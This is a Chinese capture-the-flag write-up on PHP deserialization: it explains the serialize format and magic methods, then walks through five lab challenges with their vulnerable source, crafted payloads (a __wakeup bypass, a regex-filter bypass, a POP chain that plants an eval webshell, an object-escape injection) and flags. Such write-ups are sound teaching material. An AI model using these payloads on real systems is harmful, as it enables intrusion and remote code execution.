serialize()函数

$s = serialize($变量); //该函数将变量数据进行序列化转换为字符串

file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件

a - array         b - boolean

d - double         i - integer

o - common object     r - reference

s - string         C - custom object

O - class         N - null

R - pointer reference   U - unicode string

了解了缩写的类型字母,便可以得到PHP序列化格式

1

2

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}

对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

unserialize()函数

$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串)

$变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

魔术方法

1

2

3

4

5

6

7

8

9

10

11

12

13

14

__construct  当一个对象创建时被调用,

__destruct  当一个对象销毁时被调用,

__toString  当一个对象被当作一个字符串被调用。

__wakeup()  使用unserialize时触发

__sleep()  使用serialize时触发

__destruct()  对象被销毁时触发

__call()  在对象上下文中调用不可访问的方法时触发

__callStatic()  在静态上下文中调用不可访问的方法时触发

__get()  用于从不可访问的属性读取数据

__set()  用于将数据写入不可访问的属性

__isset()  在不可访问的属性上调用isset()或empty()触发

__unset()   在不可访问的属性上使用unset()时触发

__toString()  把类当作字符串使用时触发,返回值需要为字符串

__invoke()  当脚本尝试将对象调用为函数时触发本特性

只在 PHP 5.3.0 及以上版本有效。

wakeup()魔法函数绕过

1

2

PHP5<5.6.25

PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

1.unserialize3

class xctf{                      //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
?code=

the answer is : cyberpeace{24a1e95dab10ea486aed8d9ffccbcbd1}

2.Web_php_unserialize

highlight_file() 函数对文件进行语法高亮显示。

语法

highlight_file(filename,return)
参数 描述
filename 必需。要进行高亮处理的 PHP 文件的路径。
return 可选。如果设置 true,则本函数返回高亮处理的代码。
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file; (赋值)
}

function __destruct() {
echo @highlight_file($this->file, true);
}

function __wakeup() { //需绕过
if ($this->file != 'index.php') {
//the secret is in the fl4g.php(提示)
$this->file = 'index.php';
  }
}

}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); //base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { //黑名单'o:c',可以用'o:+c'替代
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

“O:+4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}”

$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

3.[极客大挑战 2019]PHP

 
<?php
include 'class.php';
$select = $_GET['select'];//传入参数
$res=unserialize(@$select);
?>
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';        //初始化
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;      //赋值
}
function __wakeup(){
$this->username = 'guest';       //需绕过
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
      die();          //password=100
}
if ($this->username === 'admin') {  //username='admin'
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

flag{d2e7fc8f-788c-45b9-a16b-a84c7a09ee20}

4. web/fxlh1/

<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();      //3. 引发_call函数
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';   //6. 调用_tostring()函数
}
public function run()
{
($this->f1)();          
}
public function __call($a, $b)
{
echo $this->f1->get_flag();  //2. 调用get_flag()函数
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();        //5. 调用run()函数
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();          //4. 引发_invoke函数
}
public function get_flag()
{
eval('#'.$this->m1);      //1.目标
}
}
highlight_file(__FILE__);
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
<?php
class crow
{
public $v1;
public $v2; public function __construct($v1)
{
$this->v1 = $v1;
}
} class fin
{
public $f1; public function __construct($f1)
{
$this->f1 = $f1;
}
} class what
{
public $a; public function __construct($a)
{
$this->a = $a;
}
}
class mix
{
public $m1; public function __construct($m1)
{
$this->m1 = $m1;
} } $f = new mix("?><?=eval(\$_POST[1]);");
$e = new fin($f);
$d = new crow($e);
$c = new mix($d);
$b = new what($c);
$a = new fin($b);
echo urlencode(serialize($a));
//O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:21:"?>
//cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"fin":1:{s:2:"f1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:21:"?><?=eval($_POST[1]);";}}s:2:"v2";N;}}}}&1

5.[安洵杯 2019]easy_serialize_php 1

考点

  • PHP中反序列化的对象逃逸a:2:{s:7:"flagphp";s:48:";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
  • s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
    • a:2:{s:7:"";s:48:";s:1:"a";
    • s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
    • s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
 <?php
$function = @$_GET['f'];
//构造过滤函数
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';//implode把数组元素组合为字符串
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
//初赋值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);                            //函数从数组中将变量导入到当前的符号表
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');      
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); //img赋值
} $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!(发现d0g3_f1ag.php)
}else if($function == 'show_image'){                   //确定function的值
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));    //目标
}

本地测试http://localhost:3000/textphp/serialize1.php?f=show_image&_SESSION[user]=flagphpphpphpphpphpphp&_SESSION[function]=;s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

a:3:{s:4:"user";s:22:"flagphpphpphpphpphpphp";s:8:"function";s:63:";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
a:3:{s:4:"user";s:22:"";s:8:"function";s:63:";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
d0g3_f1ag.php

周练3(php反序列化)的更多相关文章

  1. 牛客算法周周练20 F.紫魔法师 (二分图染色)

    题意:给你一张图,对其染色,使得相连的点的颜色两两不同求,最少使用多少种颜色. 题解:首先,若\(n=1\),只需要一种.然后我们再去判断是否是二分图,对于二分图,两种颜色就够了,若不是二分图,也就是 ...

  2. 重磅︱文本挖掘深度学习之word2vec的R语言实现

    每每以为攀得众山小,可.每每又切实来到起点,大牛们,缓缓脚步来俺笔记葩分享一下吧,please~ --------------------------- 笔者寄语:2013年末,Google发布的 w ...

  3. 001-电脑操作规范-2019年03月.doc

    001-电脑操作规范-2019年03月.doc   本文作者:徐晓亮 BoAi 作者腾讯QQ号码:595076941   /////////////////////////////////////// ...

  4. NOIP2018 20天训练

    Day 0 2018.10.20 其实写的时候已经是Day 1了--(凌晨两点) 终于停课了,爽啊 get树状数组+线段树(延迟标记) 洛谷:提高组所有nlogn模板+每日一道搜索题(基本的图的遍历题 ...

  5. 20165325 2017-2018-2《Java程序设计》课程总结

    20165325 2017-2018-2<Java程序设计>课程总结 一.每周作业链接汇总 1.预备作业一:我期待的师生关系 20165325 期望的师生关系 简要内容: 我心中的好老师 ...

  6. P1434 [SHOI2002]滑雪 dfs

    题目描述 Michael喜欢滑雪.这并不奇怪,因为滑雪的确很刺激.可是为了获得速度,滑的区域必须向下倾斜,而且当你滑到坡底,你不得不再次走上坡或者等待升降机来载你.Michael想知道在一个区域中最长 ...

  7. 喊山 BFS

    一个山头呼喊的声音可以被临近的山头同时听到.题目假设每个山头最多有两个能听到它的临近山头.给定任意一个发出原始信号的山头,本题请你找出这个信号最远能传达到的地方. 输入格式: 输入第一行给出3个正整数 ...

  8. IT帮2019年2月线下活动【定义工作,解读自我】之站桩练习

    2019年2月IT帮线下活动[定义工作,解读自我] 昨天的活动收获很大,全面的总结周老师会另写一篇来帮助大家回顾.我想说一下其中最打动我的一句话:“只有你能决定你有多优秀!” “工作中把自己当成企业家 ...

  9. word2vec词向量训练及中文文本类似度计算

    本文是讲述怎样使用word2vec的基础教程.文章比較基础,希望对你有所帮助! 官网C语言下载地址:http://word2vec.googlecode.com/svn/trunk/ 官网Python ...

  10. 20210717 noip18

    考前 从小饭桌出来正好遇到雨下到最大,有伞但还是湿透了 路上看到一个猛男搏击暴风雨 到了机房收拾了半天才开始考试 ys 他们小饭桌十分明智地在小饭桌看题,雨下小了才来 考场 状态很差. 开题,一点想法 ...

随机推荐

  1. Django简介以及基本使用

    目录 Django简介以及基本使用 一.django简介 1.web框架的本质是什么 ? 2.python主流web框架有那些 ? 3.web框架的推导过程 二.基本使用 1.运行django注意事项 ...

  2. Spark详解(07) - SparkStreaming

    Spark详解(07) - SparkStreaming SparkStreaming概述 Spark Streaming用于流式数据的处理. Spark Streaming支持的数据输入源很多,例如 ...

  3. cmd/批处理常用命令

    启动新窗口执行命令 ::执行完毕以后,新开的窗口不会自动关闭 start cmd /k echo 123 ::执行完毕以后,新开的窗口会自动关闭 start cmd /C "echo 123 ...

  4. ArcGIS工具 - 统计要素数量

    查询和统计是GIS中的重要功能之一.在ArcGIS中可以按属性信息.按空间位置关系进行查询和统计.今天为源GIS给大家分享使用ArcPy编程实现批量统计地理数据库要素类记录数量. 软件应用 统计单个图 ...

  5. MarkDown语法----纯文本格式的标记语言

    一.基本语法 1.标题 一级标题: "# + 空格 + 标题内容" 二级标题: "## + 空格 + 标题内容" .... 2.字体 粗体: "**+ ...

  6. MySQL 索引的创建、删除

    MySQL中索引的创建有三种方法,索引的删除有两种方法. 一.创建索引 (1)使用create index # 1.创建普通索引 create index 索引名 on 表名 (列名[(限制索引长度) ...

  7. Docker 基础 - 2

    容器操作系统类型 Busybox 集成了一百多个最常用 Linux 命令和工具的软件工具箱. 包含cat echo grep find mount telnet 等 Busybox 是Linux 系统 ...

  8. py之循环,函数

    循环 a=1 while a<10: print(a) a+=1 a=[123,1235,123124,1231] while a: a1=a.pop() print(a1) for a1 in ...

  9. 基于.NetCore开发博客项目 StarBlog - (26) 集成Swagger接口文档

    前言 这是StarBlog系列在2023年的第一篇更新~ 在之前的文章里,我们已经完成了部分接口的开发,接下来需要使用 curl.Postman 这类工具对这些接口进行测试,但接口一多,每次测试都要一 ...

  10. 12月19日内容总结——Q查询进阶、ORM查询优化、ORM事务、ORM常用字段类型和字段参数、Ajax介绍、数据编码格式、Ajax携带文件数据

    目录 一.Q查询进阶操作 二.ORM查询优化 三.ORM事务操作 四.ORM常用字段类型 五.ORM常用字段参数 六.Ajax AJAX简介 应用场景 AJAX的优点 语法实现 七.数据编码格式(Co ...